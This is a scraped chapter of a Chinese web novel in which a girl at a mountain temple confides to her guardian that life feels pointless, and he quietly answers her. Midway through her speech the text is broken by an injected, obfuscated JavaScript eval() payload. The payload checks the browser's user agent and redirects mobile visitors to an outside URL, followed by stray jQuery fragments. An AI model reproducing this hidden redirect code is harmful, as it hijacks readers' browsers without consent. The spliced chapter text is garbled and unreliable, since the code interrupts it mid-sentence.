默认冷灰
24号文字
方正启体

5. 生死

作者:鱼邈妙本书字数:K更新时间:
    蓁蓁在玄极观住了下来。


    这一住,便从初春住到了深冬。


    山中不知岁月长,蝉鸣后只觉桂花开过便谢了,桂花谢过之后,院里的银杏便开始黄了。


    先是叶尖上泛起一点金色,再渐渐蔓延到整片叶子,最后满树都成了金黄。


    风一吹,叶子便纷纷扬扬地落下来,在地上铺了厚厚一层。


    再接着便开始落雪。


    蓁蓁每日的生活很简单。


    清晨起来,自己洗漱,自己去厨房领一份早饭,吃过之后便在院子里走走,或是坐在老桂树下的石墩上发呆。


    有时她会帮晒药材的居士把翻落在地上的几片枯叶捡起来,放回笸箩里。


    有时她会帮厨房的赵婆婆把晒干的豆角收进筐里。


    没有人吩咐她做这些事,她只是看见了,便顺手做了。


    做完了,便又回到她常坐的那块石墩上,安静地待着。


    黎素真偶尔会来找她说话,给她带一些杂书看。


    他带来的书都是游记、志怪、杂谈之类的东西,浅显有趣,不费脑子。


    他教蓁蓁认了几个新字,蓁蓁便自己捧着书慢慢读,遇到不认识的字就攒着,等黎素真来了再问他。


    左婴一直没有再出现过。


    蓁蓁也不问。


    她不是不好奇,只是她从小便学会了一件事,不该问的事不要问。在拾翠楼里,多问一句话便多一分麻烦。


    这个习惯养了八年,已经长在她骨头里了。


    今日天色有些阴沉,像是要下雨却又一直没落下来。山间的雾气漫进院子里,把远处的松林和殿脊都罩在一片灰蒙蒙的颜色里。


    蓁蓁坐在回廊的栏杆上,手里捧着一本《山海志异》,正读到“南海之外有鲛人,水居如鱼,不废织绩,其眼泣则能出珠”这一段。


    她读得很慢,遇到不认识的字便停下来,用手指在掌心画一画,猜它的意思。猜不出来,便暂且跳过去,继续往下读。


    她正读到鲛人织绡的段落,忽然觉得身侧的雾气动了动。


    她抬起头来。


    左婴不知什么时候已经站在了她身旁,正负着手,微微低头,看着她手中的书页。


    他今日没有穿那件素净的道袍,换了一件深青色的氅衣,衣上落了一层薄薄的水雾。


    他像是从雾里走出来的,又像是原本就站在那里,只是蓁蓁一直没有注意到。


    蓁蓁合上书,从栏杆上滑下来,站好,叫了一声:“道长。”


    她不知道该怎么称呼他,之前她唤他“道长”,他没有纠正,她便一直这样叫了。


    左婴“嗯”了一声,没有看她,而是看着院子里那棵银杏树。


    落着雪的树枝在雾气中并不显眼。


    “这几个月,住得惯么。”他问。


    “住得惯。”蓁蓁答。


    “吃食可还合口?”


    “合口。”


    “有没有人欺负你?”


    “没有。”


    左婴问一句,蓁蓁答一句。她的回答简洁利落,没有一个多余的字。


    不谄媚,不慌张,也不刻意表现得乖巧懂事。


    她只是如实回答。


    左婴又问了一句:“看书看得懂么。”


    蓁蓁低头看了一眼手中的书,老实答道:“有些字不认识,猜着读的。”


    左婴伸出手来,蓁蓁愣了一下,才明白他是在要书。


    她把书递过去,左婴接过,翻开她正在读的那一页,扫了一眼,又阖上,还给她。


    “遇到不认识的字,怎么不问你师兄。”


    蓁蓁接过书,抱在怀里:“也不好总去烦他。”


    左婴看了她一眼,没有再继续这个话题。


    他沉默了一会儿,负着手,望着远处雾气中若隐若现的山脊。


    “蓁蓁。”他忽然开口道。


    “嗯。”


    “你被我从黑山带回来那天,那只老妖的手离你眉心不过三寸,你为什么不躲。”


    蓁蓁没有想到他会问这个问题。


    她低下头,想了想,老实答道:“跑不掉。”


    “跑不掉便不跑了?”


    “嗯。”


    左婴转过来,第一次正眼看着她。


    他的目光不锐利,只是那样平平地看着她,像是在看一件有趣的东西。


    “若是跑得掉呢?”


    蓁蓁被他问住了。


    她认真地想了一会儿,才道:“若是跑得掉……大约还是会跑的。”


    “为何?”


    “因为不想死。”


    “不想死?”左婴重复了一遍这四个字,语气里带着一点难以捉摸的意味,“你那日在洞中,可不是这个反应。”


    蓁蓁沉默了。


    她知道他指的是什么。


    她那日在洞中,看着黑山老妖的手朝自己盖下来,心里想的确实不是“我不想死”,而是“原来便是这样死的么”。


    这个问题她自己也答不上来。


    她低着头,手指无意识地摩挲着书页的边角,过了很久,她的声音比方才轻了一些:“我只是……不觉得活着有多好。”


    她说出这句话的时候,院中一片寂静。


    雾气在银杏树间缓缓流动。


    “在拾翠楼的每天都是一样的,早上一碗粥,晚上一碗粥。学认字,学弹琵琶。偶尔李妈妈让我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17504297|202867||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下楼给客人看一眼,然后又是第二天。”


    “我不知道自己为什么要活着,活着就是为了活着吗?”


    “那活着和院子里那棵银杏树有什么区别呢?它站在那里,一年一年地长叶子,落叶子。”


    “我活着,一年一年地吃饭,睡觉。都是一样的。”


    她说这些话的时候,语气仍然平淡,像是在陈述一个与她无关的事实。


    “可是,”她顿了顿,“可是那天在山洞里,被那只手抓着的时候,我看见永州城的烟火了。”


    左婴没有说话,只是安静地听着。


    “我从来没有见过烟火。在楼里的时候,窗户被钉死了,我只能听见声音。那天从天上飞过去的时候,我低头看见了。”


    她微微停了一下,似乎在回忆那个画面,“金色的,一大朵在黑色的天幕上炸开,很亮。”


    “那个时候我想,原来永州城的烟火是长这个样子的。”


    她说完这句话,便没有再往下说了。


    她自己也说不清楚为什么要说这些。


    大约是这几个月中,左婴是唯一一个问了她这些问题的,又大约是这个问题她自己在心里已经想过很多遍了,只是一直没有人问她。


    左婴沉默了很久。


    雾气越来越浓,远处的殿脊已经开始模糊了。


    左婴终于开口了,声音比方才轻了一些,带着一种蓁蓁从未在他身上听过的温和。


    “你说活着没有意思。”


    “嗯。”


    “那你觉得死了就有意思了么。”


    蓁蓁张了张嘴,没有答上来。


    左婴没有等她的答案,继续道:“活着确实未必有意思。但死了一样没有意思。”


    “那怎么办?”


    左婴微微偏了偏头,像是在思考这个问题。


    片刻后,他轻轻一笑:“既然两边都没有意思,那便不必急着选。先走着看罢,也许走一走,就看到有意思的东西了。”


    蓁蓁抬起头看着他。


    他站在雾气里,深青色的氅衣被风微微吹动,神情平静。


    他说这话的时候语气很随意,像是在说一件极小极小的事,随手掸掉一粒灰尘那样。


    蓁蓁低下头,看着怀里那本《山海志异》的书脊,没有说话。


    但她把那本书抱得紧了一些。


    左婴转身准备离开,走出两步,又停下来。


    他没有回头,只是侧过脸:“那本书里不识得的字,圈出来,明日我让素真给你一本字典。”


    他说完便走了,身影很快融进雾气里。


    蓁蓁站在回廊下,抱着一本《山海志异》,望了眼他消失的方向。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)